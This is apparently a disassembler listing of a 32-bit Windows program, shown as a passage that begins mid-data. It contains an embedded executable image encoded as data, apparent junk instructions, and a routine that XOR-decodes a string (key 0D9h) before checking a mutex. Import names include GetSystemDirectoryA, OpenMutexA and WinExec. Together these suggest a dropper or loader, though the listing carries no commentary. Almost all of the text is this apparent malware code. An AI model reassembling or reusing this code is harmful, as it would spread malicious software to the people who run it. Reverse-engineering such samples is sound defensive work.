byte_43D12D	db 21h,	2Fh, 7Ah	; DATA XREF: sub_402A48+511o
		dd 245F74h
byte_43D134	db 0			; DATA XREF: sub_402A48+60Eo
byte_43D135	db 20h,	5Ah, 0		; DATA XREF: sub_402A48+7DEo
		dd 7, 10h
dword_43D140	dd 0							; sub_4032E2:loc_403308r ...
dword_43D144	dd 7A78816Fh, 406E71hbyte_43D14C	db 0			; DATA XREF: sub_403370+9Eo
word_43D14D	dw 4Eh			; DATA XREF: sub_40341E+6Cr
word_43D14F	dw 57h			; DATA XREF: sub_40349A+Cr
dword_43D151	dd 813B36h	byte_43D155	db 20h,	4Ah, 39h	; DATA XREF: sub_40349A+79o
		dd 4535h
dword_43D15C	dd 1				dd 0Ah
dword_43D164	dd 0							; sub_40354F:loc_40357Dr ...
byte_43D168	db 5Eh,	48h, 0		; DATA XREF: sub_4035DB+Fo
byte_43D16B	db 7Ah			; DATA XREF: sub_4035DB+1Fo
		dd 36403457h
		db 7Fh,	0
word_43D172	dw 6421h		; DATA XREF: sub_4036BC+17o
		dd 39436Dh, 0
		dd 11h
dword_43D180	dd 0							; sub_40372A:loc_403751r ...
dword_43D184	dd 2062393Ah			db 37h,	2Dh, 0
byte_43D18B	db 55h			; DATA XREF: .text:004038E9o
		dd 80h,	6, 0Eh
dword_43D198	dd 0							; sub_40390E:loc_403943r ...
dword_43D19C	dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0		dd 40h,	8 dup(0)
		dd 80h,	0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 4550h, 7014Ch, 427CB50Ah, 2 dup(0)
		dd 210E00E0h, 3702010Bh, 800h, 0C00h, 1000h, 1190h, 1000h
		dd 2000h, 10000000h, 1000h, 200h, 1, 0
		dd 4, 0
		dd 8000h, 400h,	0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	7000h, 48h, 5000h, 37Ch, 6 dup(0)
		dd 6000h, 0DCh,	3000h, 54h, 12h	dup(0)
		dd 7865742Eh, 74h, 7BCh, 1000h,	7BCh, 400h, 3 dup(0)
		dd 60000020h, 7373622Eh, 0
		dd 0FE0h, 2000h, 5 dup(0)
		dd 0C0000080h, 6164722Eh, 6174h, 54h, 3000h, 54h, 0C00h
		dd 3 dup(0)
		dd 40000020h, 7461642Eh, 61h, 0C4h, 4000h, 0C4h, 0E00h
		dd 3 dup(0)
		dd 0C0000040h, 6164692Eh, 6174h, 37Ch, 5000h, 37Ch, 1000h
		dd 3 dup(0)
		dd 0C0000060h, 6C65722Eh, 636Fh, 0E4h, 6000h, 0E4h, 1600h
		dd 3 dup(0)
		dd 2000020h, 6164652Eh,	6174h, 48h, 7000h, 48h,	1800h
		dd 3 dup(0)
		dd 40000020h, 5Ch dup(0)
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		jz	short locret_43D5BB
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_43D5BB:				; CODE XREF: .text:0043D5AAj
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43D5BC	proc near		; CODE XREF: .text:0043D6E4p
					; .text:0043D712p

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	10001000h
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_43D5D9:				; CODE XREF: sub_43D5BC+44j
					; sub_43D5BC+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43D608
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_43D608
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_43D5D9
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_43D5D9
; ---------------------------------------------------------------------------


loc_43D608:				; CODE XREF: sub_43D5BC+2Aj
					; sub_43D5BC+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_43D5BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D616	proc near		; CODE XREF: .text:0043D6D7p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	10001092h
		push	[ebp+arg_0]
		call	sub_43DCB0
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43D616	endp

; ---------------------------------------------------------------------------
		cld
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	loc_43D70B
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_43D669:				; CODE XREF: .text:0043D702j
		cmp	esi, 0FFFFFFFFh
		jz	loc_43D71A
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_43D6F9
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	ds:10004034h, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	ds:10004038h, eax
		mov	eax, [edx+4]
		mov	ds:1000403Ch, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, ds:10004040h
		mov	esi, ds:10004038h
		rep movsd
		lea	edi, ds:10004040h
		mov	ds:10004038h, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_43D6F9
		js	short loc_43D707
		mov	edi, [ebx+8]
		push	ebx
		call	sub_43D616
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_43D5BC
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_43D6F9:				; CODE XREF: .text:0043D67Aj
					; .text:0043D6CFj
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_43D669
; ---------------------------------------------------------------------------


loc_43D707:				; CODE XREF: .text:0043D6D1j
		xor	eax, eax
		jmp	short loc_43D724
; ---------------------------------------------------------------------------


loc_43D70B:				; CODE XREF: .text:0043D64Ej
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_43D5BC
		add	esp, 0Ch


loc_43D71A:				; CODE XREF: .text:0043D66Cj
		push	0Bh
		call	sub_43DD1C
		add	esp, 4


loc_43D724:				; CODE XREF: .text:0043D709j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_43D73D
		call	sub_43D760


loc_43D73D:				; CODE XREF: .text:0043D736j
		call	sub_43DC0F
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	eax, ds:10004000h
		call	eax


loc_43D752:				; CODE XREF: .text:0043D75Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		mov	eax, 1
		jmp	short loc_43D752

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D760	proc near		; CODE XREF: .text:0043D738p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		push	0FFFFFFF6h
		call	sub_43DCD4
		mov	[ebp+var_8], eax
		push	0
		push	0FFFFFFF5h
		call	sub_43DCD4
		mov	[ebp+var_4], eax
		push	0
		push	0FFFFFFF4h
		call	sub_43DCD4
		mov	[ebp+var_C], eax
		push	1000401Eh
		push	[ebp+var_8]
		call	sub_43DCC8
		mov	ds:10004008h, eax
		push	1000401Ch
		push	[ebp+var_4]
		call	sub_43DCC8
		mov	ds:10004004h, eax
		push	1000401Ch
		push	[ebp+var_C]
		call	sub_43DCC8
		add	esp, 30h
		mov	ds:1000400Ch, eax
		mov	edi, ds:10004004h
		or	edi, edi
		jz	short loc_43D7D9
		push	0
		push	edi
		call	sub_43DD28
		add	esp, 8


loc_43D7D9:				; CODE XREF: sub_43D760+6Cj
		mov	edi, ds:1000400Ch
		or	edi, edi
		jz	short loc_43D7F3
		push	0
		push	edi
		call	sub_43DD28
		add	esp, 8
		call	sub_43D7F8


loc_43D7F3:				; CODE XREF: sub_43D760+81j
		pop	edi
		leave
		retn
sub_43D760	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D7F8	proc near		; CODE XREF: sub_43D760+8Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		call	sub_43DC44
		mov	ebx, eax
		mov	[ebp+var_10], ebx
		jmp	short loc_43D835
; ---------------------------------------------------------------------------


loc_43D814:				; CODE XREF: sub_43D7F8+45j
		cmp	byte ptr ds:0[ebx], 3Dh
		jz	short loc_43D821
		inc	[ebp+var_C]


loc_43D821:				; CODE XREF: sub_43D7F8+24j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		lea	ebx, [ebx+edi]


loc_43D835:				; CODE XREF: sub_43D7F8+1Aj
		cmp	byte ptr ds:0[ebx], 0
		jnz	short loc_43D814
		mov	edi, [ebp+var_C]
		inc	edi
		lea	edi, ds:0[edi*4]
		mov	[ebp+var_14], edi
		push	[ebp+var_14]
		call	sub_43DCF8
		pop	ecx
		mov	[ebp+var_8], eax
		mov	ds:10004010h, eax
		cmp	[ebp+var_8], 0
		jnz	short loc_43D868
		xor	eax, eax
		jmp	short loc_43D8DE
; ---------------------------------------------------------------------------


loc_43D868:				; CODE XREF: sub_43D7F8+6Aj
		mov	ebx, [ebp+var_10]
		jmp	short loc_43D8C1
; ---------------------------------------------------------------------------


loc_43D86D:				; CODE XREF: sub_43D7F8+D1j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		mov	[ebp+var_4], edi
		cmp	byte ptr ds:0[ebx], 3Dh
		jz	short loc_43D8BB
		push	[ebp+var_4]
		call	sub_43DCF8
		pop	ecx
		mov	esi, [ebp+var_8]
		mov	ds:0[esi], eax
		or	eax, eax
		jnz	short loc_43D8A4
		jmp	short loc_43D8DE
; ---------------------------------------------------------------------------


loc_43D8A4:				; CODE XREF: sub_43D7F8+A8j
		push	ebx
		mov	edi, [ebp+var_8]
		push	dword ptr ds:0[edi]
		call	sub_43DD4C
		add	esp, 8
		add	[ebp+var_8], 4


loc_43D8BB:				; CODE XREF: sub_43D7F8+91j
		mov	edx, [ebp+var_4]
		lea	ebx, [ebx+edx]


loc_43D8C1:				; CODE XREF: sub_43D7F8+73j
		cmp	byte ptr ds:0[ebx], 0
		jnz	short loc_43D86D
		mov	edx, [ebp+var_8]
		mov	dword ptr ds:0[edx], 0
		mov	eax, 1


loc_43D8DE:				; CODE XREF: sub_43D7F8+6Ej
					; sub_43D7F8+AAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D7F8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D8E4	proc near		; CODE XREF: sub_43D98E+22p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 181h
		push	esi
		push	[ebp+arg_0]
		mov	eax, ds:10004098h
		lea	eax, ds:10002000h[eax]
		push	eax
		call	sub_43DD04
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_43D92D
; ---------------------------------------------------------------------------


loc_43D913:				; CODE XREF: sub_43D8E4+4Bj
		mov	eax, ds:10004098h
		add	eax, edi
		lea	eax, ds:10002000h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D9h
		mov	[eax], dl
		inc	edi


loc_43D92D:				; CODE XREF: sub_43D8E4+2Dj
		cmp	edi, esi
		jl	short loc_43D913
		mov	[ebp+var_8], 389h
		mov	eax, ds:10004098h
		add	eax, esi
		mov	byte ptr ds:10002000h[eax], 0
		xor	edi, edi
		mov	edi, ds:10004098h
		add	dword ptr ds:10004098h,	3
		mov	eax, ds:10004098h
		lea	eax, [eax+esi+4]
		mov	ds:10004098h, eax
		inc	dword ptr ds:10004098h
		cmp	dword ptr ds:10004098h,	0DB6h
		jle	short loc_43D97D
		and	dword ptr ds:10004098h,	0


loc_43D97D:				; CODE XREF: sub_43D8E4+90j
		mov	[ebp+var_C], 9Ch
		lea	eax, [edi+10002000h]
		pop	edi
		pop	esi
		leave
		retn
sub_43D8E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D98E	proc near		; CODE XREF: .text:0043DB27p

var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		lea	edi, [ebp+var_5]
		lea	esi, ds:1000409Ch
		xor	ecx, ecx
		inc	ecx
		rep movsb
		call	sub_43DC80
		push	5
		push	100040BDh
		call	sub_43D8E4
		add	esp, 8
		push	eax
		push	0
		push	1F0001h
		call	sub_43DCA4
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_43D9E9
		mov	[ebp+var_C], 4FA1h
		inc	[ebp+var_C]
		push	eax
		call	sub_43DC5C
		mov	[ebp+var_E], 6C6Dh
		inc	[ebp+var_E]
		xor	eax, eax
		inc	eax


loc_43D9E9:				; CODE XREF: sub_43D98E+3Cj
		pop	edi
		pop	esi
		leave
		retn
sub_43D98E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D9ED	proc near		; CODE XREF: .text:0043DB5Bp

var_10A		= byte ptr -10Ah
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		call	sub_43DC38
		call	sub_43DC68
		mov	ecx, edi
		or	eax, 0FFFFFFFFh


loc_43DA0B:				; CODE XREF: sub_43D9ED+23j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43DA0B
		mov	ebx, eax
		mov	[ebp+var_6], bx
		mov	ax, [ebp+var_6]
		mov	[ebp+var_2], ax
		jmp	short loc_43DA40
; ---------------------------------------------------------------------------


loc_43DA22:				; CODE XREF: sub_43D9ED+59j
		movzx	eax, [ebp+var_2]
		cmp	byte ptr [edi+eax], 5Ch
		jnz	short loc_43DA3C
		call	sub_43DC2C
		inc	[ebp+var_2]
		call	sub_43DC80
		jmp	short loc_43DA48
; ---------------------------------------------------------------------------


loc_43DA3C:				; CODE XREF: sub_43D9ED+3Dj
		dec	[ebp+var_2]


loc_43DA40:				; CODE XREF: sub_43D9ED+33j
		movzx	eax, [ebp+var_2]
		or	eax, eax
		jg	short loc_43DA22


loc_43DA48:				; CODE XREF: sub_43D9ED+4Dj
		mov	ax, [ebp+var_2]
		cmp	ax, [ebp+var_6]
		jnb	short loc_43DA86
		mov	[ebp+var_4], 0
		jmp	short loc_43DA74
; ---------------------------------------------------------------------------


loc_43DA5A:				; CODE XREF: sub_43D9ED+97j
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_2]
		mov	ecx, eax
		add	ecx, edx
		mov	dl, [edi+ecx]
		mov	[ebp+eax+var_10A], dl
		inc	[ebp+var_4]


loc_43DA74:				; CODE XREF: sub_43D9ED+6Bj
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jle	short loc_43DA5A


loc_43DA86:				; CODE XREF: sub_43D9ED+63j
		mov	esi, 6BBCh
		add	esi, 7D41h
		lea	eax, [ebp+var_10A]
		push	eax
		call	sub_43DC98
		call	sub_43DC8C
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D9ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DAA7	proc near		; CODE XREF: .text:0043DBAEp

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		call	sub_43DC38
		push	100040BBh
		push	[ebp+arg_0]
		call	sub_43DD40
		add	esp, 8
		lea	edi, [ebp+var_8]
		lea	esi, ds:1000409Dh
		movsd
		movsd
		pop	edi
		pop	esi
		leave
		retn
sub_43DAA7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	esi
		push	edi
		mov	ax, ds:100040A5h
		mov	[ebp-217h], ax
		mov	eax, ds:10004094h
		add	eax, 698h
		push	eax
		call	sub_43DD34
		mov	byte ptr [ebp-100h], 84h
		sub	byte ptr [ebp-100h], 68h
		mov	eax, ds:10004090h
		mov	edx, eax
		add	edx, 5
		push	edx
		mov	edx, 0Fh
		sub	edx, ds:10004094h
		push	edx
		mov	edx, 4
		sub	edx, eax
		push	edx
		call	sub_43D98E
		add	esp, 10h
		or	eax, eax
		jz	short loc_43DB3B
		xor	eax, eax
		inc	eax
		jmp	loc_43DBE4
; ---------------------------------------------------------------------------


loc_43DB3B:				; CODE XREF: .text:0043DB31j
		push	104h
		lea	eax, [ebp-205h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_43DC50
		call	sub_43DC38
		lea	eax, [ebp-205h]
		push	eax
		call	sub_43D9ED
		mov	byte ptr [ebp-101h], 1Bh
		add	byte ptr [ebp-101h], 1
		lea	edi, [ebp-215h]
		lea	esi, ds:100040A7h
		mov	ecx, 4
		rep movsd
		push	0FFh
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43DC74
		mov	eax, ds:100040B7h
		mov	[ebp-21Bh], eax
		call	sub_43DC38
		call	sub_43DC2C
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43DAA7
		call	sub_43DC80
		lea	eax, [ebp-215h]
		push	eax
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43DD40
		add	esp, 10h
		push	1
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43DCBC
		call	sub_43DC68
		xor	eax, eax
		inc	eax


loc_43DBE4:				; CODE XREF: .text:0043DB36j
		pop	edi
		pop	esi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		align 4
		push	eax
		fnstcw	word ptr [esp]
		mov	eax, [esp]
		btr	dword ptr [esp], 8
		or	word ptr [esp],	200h
; START	OF FUNCTION CHUNK FOR sub_43DC0F


loc_43DBFE:				; CODE XREF: sub_43DC0F+Dj
		fldcw	word ptr [esp+4+var_4]
		pop	ecx


loc_43DC02:				; CODE XREF: .text:0043DC0Dj
		mov	al, ah
		and	eax, 3
		retn
; END OF FUNCTION CHUNK	FOR sub_43DC0F
; ---------------------------------------------------------------------------
		push	eax
		fnstcw	word ptr [esp]
		pop	eax
		jmp	short loc_43DC02

; =============== S U B	R O U T	I N E =======================================



sub_43DC0F	proc near		; CODE XREF: .text:loc_43D73Dp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043DBFE SIZE 0000000A BYTES

		push	eax
		fnstcw	word ptr [esp+4+var_4]
		mov	eax, [esp+4+var_4]
		or	word ptr [esp+4+var_4],	300h
		jmp	short loc_43DBFE
sub_43DC0F	endp

; ---------------------------------------------------------------------------
		align 10h
		jmp	dword ptr ds:100050E8h
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC2C	proc near		; CODE XREF: sub_43D9ED+3Fp
					; .text:0043DBA2p
		jmp	dword ptr ds:100050ECh
sub_43DC2C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC38	proc near		; CODE XREF: sub_43D9ED+Fp
					; sub_43DAA7+7p ...
		jmp	dword ptr ds:100050F0h
sub_43DC38	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC44	proc near		; CODE XREF: sub_43D7F8+10p
		jmp	dword ptr ds:100050F4h
sub_43DC44	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC50	proc near		; CODE XREF: .text:0043DB4Ap
		jmp	dword ptr ds:100050F8h
sub_43DC50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC5C	proc near		; CODE XREF: sub_43D98E+49p
		jmp	dword ptr ds:100050FCh
sub_43DC5C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC68	proc near		; CODE XREF: sub_43D9ED+14p
					; .text:0043DBDCp
		jmp	dword ptr ds:10005100h
sub_43DC68	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC74	proc near		; CODE XREF: .text:0043DB8Dp
		jmp	dword ptr ds:10005104h
sub_43DC74	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC80	proc near		; CODE XREF: sub_43D98E+16p
					; sub_43D9ED+48p ...
		jmp	dword ptr ds:10005108h
sub_43DC80	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC8C	proc near		; CODE XREF: sub_43D9ED+B0p
		jmp	dword ptr ds:1000510Ch
sub_43DC8C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC98	proc near		; CODE XREF: sub_43D9ED+ABp
		jmp	dword ptr ds:10005110h
sub_43DC98	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCA4	proc near		; CODE XREF: sub_43D98E+32p
		jmp	dword ptr ds:10005114h
sub_43DCA4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCB0	proc near		; CODE XREF: sub_43D616+13p
		jmp	dword ptr ds:10005118h
sub_43DCB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCBC	proc near		; CODE XREF: .text:0043DBD7p
		jmp	dword ptr ds:1000511Ch
sub_43DCBC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCC8	proc near		; CODE XREF: sub_43D760+33p
					; sub_43D760+45p ...
		jmp	dword ptr ds:10005128h
sub_43DCC8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCD4	proc near		; CODE XREF: sub_43D760+Bp
					; sub_43D760+17p ...
		jmp	dword ptr ds:1000512Ch
sub_43DCD4	endp

; ---------------------------------------------------------------------------
		align 10h
		jmp	dword ptr ds:10005130h
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0
; ---------------------------------------------------------------------------
		jmp	dword ptr ds:10005134h
; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCF8	proc near		; CODE XREF: sub_43D7F8+58p
					; sub_43D7F8+96p
		jmp	dword ptr ds:10005138h
sub_43DCF8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD04	proc near		; CODE XREF: sub_43D8E4+23p
		jmp	dword ptr ds:1000513Ch
sub_43DD04	endp

; ---------------------------------------------------------------------------
		align 10h
		jmp	dword ptr ds:10005140h
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD1C	proc near		; CODE XREF: .text:0043D71Cp
		jmp	dword ptr ds:10005144h
sub_43DD1C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD28	proc near		; CODE XREF: sub_43D760+71p
					; sub_43D760+86p
		jmp	dword ptr ds:10005148h
sub_43DD28	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD34	proc near		; CODE XREF: .text:0043DAF5p
		jmp	dword ptr ds:1000514Ch
sub_43DD34	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD40	proc near		; CODE XREF: sub_43DAA7+14p
					; .text:0043DBC6p
		jmp	dword ptr ds:10005150h
sub_43DD40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD4C	proc near		; CODE XREF: sub_43D7F8+B7p
		jmp	dword ptr ds:10005154h
sub_43DD4C	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 14h dup(0)
		dd 2 dup(1), 7Ch dup(0)
		dd 10001536h, 5	dup(0)
		dd 7325h, 720077h, 1Ch dup(0)
		dd 2, 0Ch, 0
		dd 3B4E2A00h, 734D3E5Ah
		db 0, 4Bh, 0
; char Dest[]
Dest		db 'abcdefghijklmno',0  ; DATA XREF: sub_403BE7+283o
aAy		db 'Ay&',0
		db '\',0
aTtii		db '’’ˆë»',0
		align 10h
		dd 4Fh dup(0)
		dd 5070h, 2 dup(0)
		dd 52F8h, 50E8h, 50B0h,	2 dup(0)
		dd 5340h, 5128h, 12h dup(0)
		dd 515Ch, 516Ch, 5184h,	519Ch, 51B8h, 51D0h, 51E0h, 51F4h
		dd 520Ch, 521Ch, 522Ch,	5240h, 5250h, 525Ch, 2 dup(0)
		dd 5268h, 5274h, 5288h,	5294h, 52A0h, 52ACh, 52B8h, 52C4h
		dd 52CCh, 52D8h, 52E0h,	52ECh, 2 dup(0)
		dd 515Ch, 516Ch, 5184h,	519Ch, 51B8h, 51D0h, 51E0h, 51F4h
		dd 520Ch, 521Ch, 522Ch,	5240h, 5250h, 525Ch, 2 dup(0)
		dd 5268h, 5274h, 5288h,	5294h, 52A0h, 52ACh, 52B8h, 52C4h
		dd 52CCh, 52D8h, 52E0h,	52ECh, 0
		dd 78450081h, 72507469h, 7365636Fh, 73h, 654700DEh, 72754374h
		dd 746E6572h, 636F7250h, 49737365h, 64h, 654700E0h, 72754374h
		dd 746E6572h, 65726854h, 64496461h, 0
		dd 654700EDh, 766E4574h, 6E6F7269h, 746E656Dh, 69727453h
		dd 4173676Eh, 0
		dd 6547010Ah, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
		dd 0
		dd 6C43001Bh, 4865736Fh, 6C646E61h, 65h, 65470124h, 6F725074h
		dd 73736563h, 70616548h, 0
		dd 6547013Fh, 73795374h, 446D6574h, 63657269h, 79726F74h
		dd 41h,	65470155h, 63695474h, 756F436Bh, 746Eh,	6547015Ch
		dd 72655674h, 6E6F6973h, 0
		dd 6C470168h, 6C61626Fh, 41646441h, 416D6F74h, 0
		dd 704F01D2h, 754D6E65h, 41786574h, 0
		dd 7452020Eh, 776E556Ch, 646E69h, 69570298h, 6578456Eh
		dd 63h,	665F0080h, 65706F64h, 6Eh, 6F5F014Fh, 5F6E6570h
		dd 6866736Fh, 6C646E61h, 65h, 6366020Dh, 65736F6Ch, 0
		dd 635F0039h, 74697865h, 0
		dd 616D024Eh, 636F6C6Ch, 0
		dd 656D0254h, 7970636Dh, 0
		dd 7270025Bh, 66746E69h, 0
		dd 61720260h, 657369h, 65730267h, 66756274h, 0
